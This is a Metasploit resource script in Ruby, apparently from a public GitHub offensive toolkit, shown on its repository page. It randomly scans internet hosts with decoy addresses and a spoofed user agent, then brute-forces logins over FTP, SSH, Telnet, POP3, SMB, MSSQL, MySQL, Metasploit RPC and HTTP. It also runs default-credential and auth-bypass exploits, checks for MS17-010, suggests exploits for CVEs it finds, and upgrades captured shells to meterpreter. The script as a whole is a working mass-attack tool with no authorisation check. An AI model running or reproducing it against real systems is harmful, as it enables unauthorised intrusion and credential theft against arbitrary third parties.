-
Notifications
You must be signed in to change notification settings - Fork 39
/
brute_force.rc
548 lines (509 loc) · 25.8 KB
/
brute_force.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
##
# Script: brute_force.rc
# Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
# GitHub: https://github.com/r00t-3xp10it/resource_files
# -
# [OPTIONS]
# setg SAVE_DB true - Save workspace mosquito to database.xml
# setg LIMMIT 1000 - Limmit the number of random WAN hosts to search
# setg RANDOM_HOSTS true - To instruct db_nmap to random search in WAN for hosts with ports open
# setg RHOSTS 117.2.40.217 183.17.237.229 95.38.18.209 - To instruct db_nmap to scan hosts for ports open.
# setg USERPASS_FILE /root/my_dicionary.txt - To instruct auxiliarys to use our own dicionary file
# -
# [SYNTAX EXAMPLES]
# msf5 > setg RANDOM_HOSTS true;resource /root/brute_force.rc'
# msfconsole -q -x 'setg RANDOM_HOSTS true;resource /root/brute_force.rc'
##
<ruby>
run_single("workspace -a mosquito")
help = %Q|
🦟__________
_______🦟________________________ ___(_) _ /______🦟
__ __ __ \\ __ \\_ ___/ __ / / / /_ /_ __/ __ \\
🦟_ / / / / / /_/ /(__ )/ /_/ // /_/ /_ / / /_ / /_/ /
/_/ /_/ /_/\\____//____/ \\__, / \\__,_/ /_/ \\__/ \\____/
🦟 /_/ 🦟
Script: brute_force.rc
Author: r00t-3xp10it <pedroubuntu10[at]gmail.com>
GitHub: https://github.com/r00t-3xp10it/resource_files
|
print_line(help)
Rex::sleep(1.5)
## Make sure we are connected to db
unless framework.db.active
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] Database not connected to postgresql.")
Rex::sleep(2.0)
err = %Q|
Remark
------
This resource script requires the msf database connected to postgresql.
Connect DB To Postgresql
------------------------
[execute] service postgresql start
[execute] msfconsole -q -x 'resource brute_force.rc'
|
print_line(err)
print_error("please wait, cleaning recent configurations.")
run_single("unsetg all")
run_single("exit -y")
return nil
else
print_good("Database connected to postgresql.")
Rex::sleep(0.5)
local = Dir.pwd
work_name = framework.db.workspace.name
print_status("Working in workspace: *#{work_name}")
Rex::sleep(1.0)
ip_range = File.read("ip_range.txt") if File.exist?("ip_range.txt")
end
## Sellect the type of nmap scan to use
if (framework.datastore['RANDOM_HOSTS'] == "true")
if (framework.datastore['LIMMIT'] == nil or framework.datastore['LIMMIT'] == '')
run_single("setg LIMMIT 300")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
else
print_line("LIMMIT => #{framework.datastore['LIMMIT']}")
print_line("RHOSTS => Random Search in WAN for:#{framework.datastore['LIMMIT']} alive hosts")
end
elsif (framework.datastore['RHOSTS'] == nil or framework.datastore['RHOSTS'] == '')
run_single("setg RHOSTS #{ip_range}.0/24")
elsif (framework.datastore['RHOSTS'])
print_line("RHOSTS => #{framework.datastore['RHOSTS']}")
end
## Metasploit auxiliarys brute force dicionary absoluct path
if (framework.datastore['USERPASS_FILE'] == nil or framework.datastore['USERPASS_FILE'] == '')
run_single("setg USERPASS_FILE #{local}/bin/wordlists/multi_services_wordlist.txt")
else
print_line("USERPASS_FILE => #{framework.datastore['USERPASS_FILE']}")
end
## db_nmap WAN or RHOSTS or LOCAL_LAN scan settings
# HINT: nmap will use a fake user-agent string (iPhone:Safari) while scanning.
if (framework.datastore['RHOSTS'] == "#{ip_range}.0/24")
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 21,22,23,80,110,445,1433,3306,55553 --open --script=banner.nse,http-headers.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse,http-mobileversion-checker.nse,mysql-enum.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" #{framework.datastore['RHOSTS']}")
elsif (framework.datastore['RANDOM_HOSTS'] == "true")
print_status("Nmap: search for random remote hosts with ports 21:22:23:80:110:445:1433:3306:55553 open")
run_single("db_nmap -sS -vvv -Pn -n -T4 -iR #{framework.datastore['LIMMIT']} -p 21,22,23,80,110,445,1433,3306,55553 --open --script=banner.nse,http-headers.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse,http-mobileversion-checker.nse,mysql-enum.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3")
else
run_single("db_nmap -sS -v -Pn -n -T4 -O -p 21,22,23,80,110,445,1433,3306,55553 --open --script=banner.nse,http-headers.nse,smb-os-discovery.nse,smb-vuln-ms17-010.nse,mysql-enum.nse --script-args http.useragent=\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\" -D 172.217.17.4,65.49.82.3 #{framework.datastore['RHOSTS']}")
end
if File.directory?("#{local}/logs")
run_single("spool #{local}/logs/brute_force.log")
end
print_line("")
run_single("services")
## rhosts geolocation (geoip-bin)
if (File.exist?("/usr/bin/geoiplookup"))
print_line("Geo-Location")
print_line("------------")
## Mapping database hosts (loop)
framework.db.hosts.map(&:address).each do |sHost|
geo_location = `geoiplookup #{sHost}|cut -d ':' -f2|tr -d '\n'`
spl_range = sHost.split('.')
## Make sure we are NOT geolocating Internal ip(s)
if (spl_range[0] == "192" and spl_range[1] == "168")
print_line("#{sHost} - Not available (Internal IP Address)")
else
print_line("#{sHost} - #{geo_location}")
end
end
end
print_line("")
Rex::sleep(2.0)
## Read the database (metasploit)
print_good("Sellecting target hosts from msf database.")
xhost = framework.db.hosts.map(&:address).join(' ')
xport = framework.db.services.map(&:port).join(' ')
proto = framework.db.services.map(&:proto).join(' ')
xname = framework.db.hosts.map(&:os_name).join(' ').gsub(' ',', ')
run_single("setg RHOSTS #{xhost}")
Rex::sleep(2.0)
## Make sure that exists hosts/ports (open) in database
if xhost.nil? or xhost == '' or xhost == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap scan did not find any alive connections.")
print_error("please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
elsif xport.nil? or xport == '' or xport == ' '
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
print_error("[ERROR] db_nmap did not find any 21:22:23:80:110:445:1433:3306:55553 open ports.")
print_error("please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
return nil
end
## Make sure that dicionary file exist (user:pass)
check_word = "#{framework.datastore['USERPASS_FILE']}"
unless (File.exist?(check_word))
print_error("[ERROR] Dicionary absoluct path not found.")
print_error("USERPASS_FILE => #{framework.datastore['USERPASS_FILE']}")
Rex::sleep(1.0)
word = %Q|
[execute] setg USERPASS_FILE <absoluct-path-to-dicionary.txt>
[example] setg USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/piata_ssh_userpass.txt
'Remmenber that worldlist must be in <user pass> format (one-per-line)'
|
print_line(word)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
end
## Make sure that freevulnseach.nse exists
Rex::sleep(2.0)
nse = "/usr/share/nmap/scripts/freevulnsearch.nse"
unless (File.exist?(nse))
print_error("[ERROR] freevulnsearch.nse/vulners.nse script(s) not found in nmap db.")
print_error("[ERROR] Download nse script(s) and install it before running this rc file.")
Rex::sleep(1.0)
nof = %Q|
How To Fix
----------
Exit current session and msfconsole < exit AND exit -y >
Then execute the follow commands in a new terminal windows:
sudo wget https://raw.githubusercontent.com/OCSAF/freevulnsearch/master/freevulnsearch.nse
sudo cp freevulnsearch.nse /usr/share/nmap/scripts/freevulnsearch.nse
sudo wget https://raw.githubusercontent.com/vulnersCom/nmap-vulners/master/vulners.nse
sudo cp vulners.nse /usr/share/nmap/scripts/vulners.nse
sudo nmap --script-updatedb
|
print_line(nof)
print_error("Please wait, cleaning recent configurations.")
Rex::sleep(1.0)
run_single("unsetg all")
run_single("workspace -d mosquito")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
return nil
else
print_good("freevulnsearch.nse/vulners.nse script(s) found.")
end
## Run gather/brute-force modules
if xport =~ /21/ or proto =~ /ftp/i
print_warning("Remote Target port: 21 ftp found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/ftp/ftp_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("use auxiliary/scanner/ftp/anonymous")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
run_single("use auxiliary/scanner/ftp/ftp_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set STOP_ON_SUCCESS true")
run_single("set BRUTEFORCE_SPEED 5")
run_single("set THREADS 180")
print_line("")
run_single("services -c name -S ftp -R")
run_single("exploit")
end
if xport =~ /22/ or proto =~ /ssh/i
print_warning("Remote Target port: 22 ssh found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/ssh/ssh_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
run_single("use auxiliary/scanner/ssh/libssh_auth_bypass")
run_single("set THREADS 35")
run_single("set SPAWN_PTY true")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
## Try to exploit remote targets
print "[?] Exploit ios cydia service (y|n)? "
question = gets.chomp
if question == "y" or question == "Y" or question == "yes" or question == "YES"
run_single("use exploit/apple_ios/ssh/cydia_default_ssh")
run_single("set VERBOSE true")
run_single("set THREADS 35")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
end
run_single("use auxiliary/scanner/ssh/ssh_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set STOP_ON_SUCCESS true")
run_single("set VERBOSE true")
run_single("set THREADS 120")
print_line("")
run_single("services -c name -S ssh -R")
run_single("exploit")
end
if xport =~ /23/ or proto =~ /telnet/i
print_warning("Remote Target port: 23 telnet found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/telnet/telnet_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S telnet -R")
run_single("exploit")
run_single("use auxiliary/scanner/telnet/telnet_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set BRUTEFORCE_SPEED 5")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 200")
print_line("")
run_single("services -c name -S telnet -R")
run_single("exploit")
end
if xport =~ /110/ or proto =~ /pop3/i
print_warning("Remote Target port: 110 pop3 found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/pop3/pop3_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S pop3 -R")
run_single("exploit")
run_single("use auxiliary/scanner/pop3/pop3_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("unset USER_FILE")
run_single("unset PASS_FILE")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 100")
print_line("")
run_single("services -c name -S pop3 -R")
run_single("exploit")
end
if xport =~ /445/ or proto =~ /(smb|microsoft-ds|netbios-ssn)/i
print_warning("Remote Target port: 445 smb found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/smb/smb_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_enumusers")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_enumshares")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_ms17_010")
run_single("set LHOST #{framework.datastore['LHOST']}")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
run_single("use auxiliary/scanner/smb/smb_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 40")
print_line("")
run_single("services -c port -p 445 -R")
run_single("exploit")
end
if xport =~ /1433/ or proto =~ /(ms-sql-s|mssql|mssql-m)/i
print_warning("Remote Target port 1433 mssql found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/mssql/mssql_ping")
run_single("set THREADS 16")
print_line("")
run_single("services -c port -p 1433 -R")
run_single("exploit")
run_single("use auxiliary/scanner/mssql/mssql_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 60")
print_line("")
run_single("services -c port -p 1433 -R")
run_single("exploit")
end
if xport =~ /3306/ or proto =~ /mysql/i
print_warning("Remote Target port 3306 mysql found.")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/mysql/mysql_version")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S mysql -R")
run_single("exploit")
Rex::sleep(1.5)
run_single("use auxiliary/scanner/mysql/mysql_login")
count_lines = File.open("#{framework.datastore['USERPASS_FILE']}") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{framework.datastore['USERPASS_FILE']}")
run_single("set STOP_ON_SUCCESS true")
run_single("set VERBOSE true")
run_single("set THREADS 100")
print_line("")
run_single("services -c name -S mysql -R")
run_single("exploit")
Rex::sleep(1.5)
end
## Metasploit service (eg: 149.169.85.36 131.68.172.40)
if xport =~ /55553/ or proto =~ /(rcp|msrpc)/i
print_warning("Remote Target port 55553 msrpc found.")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/msf/msf_rpc_login")
count_lines = File.open("#{local}/bin/wordlists/rpc_default_userpasslist.txt") { |f| f.count }
print_good("Wordlist Logins Count: #{count_lines}")
Rex::sleep(1.5)
run_single("set USERPASS_FILE #{local}/bin/wordlists/rpc_default_userpasslist.txt")
run_single("set STOP_ON_SUCCESS true")
run_single("set BRUTEFORCE_SPEED 5")
run_single("set VERBOSE true")
run_single("set THREADS 160")
print_line("")
run_single("services -c port -p 55553 -R")
run_single("exploit")
end
if proto =~ /http/i
print_warning("Remote Target port: 80 http found")
Rex::sleep(1.0)
run_single("use auxiliary/scanner/http/title")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/http_header")
run_single("set VERBOSE true")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/options")
run_single("set THREADS 16")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/dir_scanner")
run_single("set THREADS 60")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
run_single("use auxiliary/scanner/http/http_login")
run_single("set UserAgent Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1")
run_single("set STOP_ON_SUCCESS true")
run_single("set THREADS 36")
print_line("")
run_single("services -c name -S http -R")
run_single("exploit")
end
## Running freevulnsearch.nse (scan for CVE's)
print "[?] Scan for possible CVE's? (y/n):"
question = gets.chomp
if question == "y" or question == "Y"
print "[?] Use 'freevulnsearch.nse' or 'vulners.nse'? :"
query_nse = gets.chomp
if query_nse.nil? or query_nse == ''
query_nse = "vulners.nse"
end
displ = %Q|
MMMMMMMMMMM'""""'YMMM MM""MMMMM""MM MM""""""""`MMMMMMMMMM
MMMMMMMMMM' .mmm. `MM MM MMMMM MM MM mmmmmmmMMMMMMMMMM
MMMMMMMMMM MMMMMooMM MM MMMMP MM MM` MMMMMMMMMMMM
MMMMMMMMMM MMMMMMMMM MM MMMM' .MM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMM. `MMM' .MM MM MMP' .MMM MM MMMMMMMMMMMMMMMMM
MMMMMMMMMMM. .dMM MM .dMMMM MM .MMMMMMd@bM
MMMMMMMMMMMMMMMMMMMMM MMMMMMMMMMMMM MMMMMMMMMMMMMMMMMMMMM
freevulnsearch.nse by: Mathias Gut
vulners.nse by: gmedian
|
print_line(displ)
print_good("[#{query_nse}] Running CVE checks againts: #{framework.datastore['RHOSTS']}")
run_single("db_nmap -sV -v -T4 -Pn -n --script=#{query_nse} #{framework.datastore['RHOSTS']} --open -oN CVEs.txt")
## suggest exploits based on CVE number
query_numb = `cat CVEs.txt|grep -m 20 'CVE-'|awk {'print $2'}|cut -d '-' -f1,2,3`
# Make sure we get any CVE number back
parse_trail = query_numb.split(' ')
unless (parse_trail.empty? or parse_trail.nil? or parse_trail == '')
print "[?] Suggest exploits to CVEs found ? (y/n):"
query_cve = gets.chomp
if query_cve == "y" or query_cve == "Y"
# Use msfconsole search core command to search for compatible exploits
print_line("")
print_good("searching in metasploit database for compatible exploits..")
Rex::sleep(1.0)
(parse_trail).each do |id|
print_status("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(0.5)
run_single("search cve:#{id} type:exploit rank:good rank:great rank:excellent")
Rex::sleep(1.0)
end
end
else
# None CVEs IDs found in nmap scans
print_error("[NONE CVEs FOUND] Abort Suggest exploits module execution.")
Rex::sleep(1.5)
end
end
## Make sure logs folder exists!
if File.directory?("#{local}/logs")
## Save current database to local file (xml)
if (framework.datastore['SAVE_DB'] == "true")
rand = Rex::Text.rand_text_alpha(5)
print_warning("Exporting database to: #{local}/logs/database_#{rand}.xml")
run_single("db_export -f xml -a #{local}/logs/database_#{rand}.xml")
end
end
print_line("")
## Display active sessions
run_single("sessions -l")
print_line("")
run_single("creds")
print_line("")
## Cleaning database and unset global variables
print_warning("Cleaning global variables.")
Rex::sleep(1.5)
run_single("unsetg all")
run_single("unset all")
run_single("workspace -d mosquito")
## Upgrade command shell to meterpreter?
if (framework.sessions.length > 0)
print "[?] Upgrade command shell to meterpreter? (y/n):"
upgrate_met = gets.chomp
if upgrate_met == "y" or upgrate_met == "Y"
run_single("use post/multi/manage/shell_to_meterpreter")
# Loop truth sessions to grab the session ID
framework.sessions.each_key do |sid|
run_single("set SESSION #{sid}")
run_single("run")
end
print_line("")
run_single("sessions -l")
print_line("")
end
end
dtr = `date`
## Writting ['xhost(s)'] to mosquito logfile
if File.directory?("#{local}/logs")
print_status("Logfile stored under: #{local}/logs/brute_force.log")
run_single("echo \"[#{dtr}] brute_force: #{xhost}\" >> logs/mosquito.log")
end
## Delete settings/files before exit
File.delete("CVEs.txt") if File.exist?("CVEs.txt")
File.delete("ip_range.txt") if File.exist?("ip_range.txt")
run_single("back")
</ruby>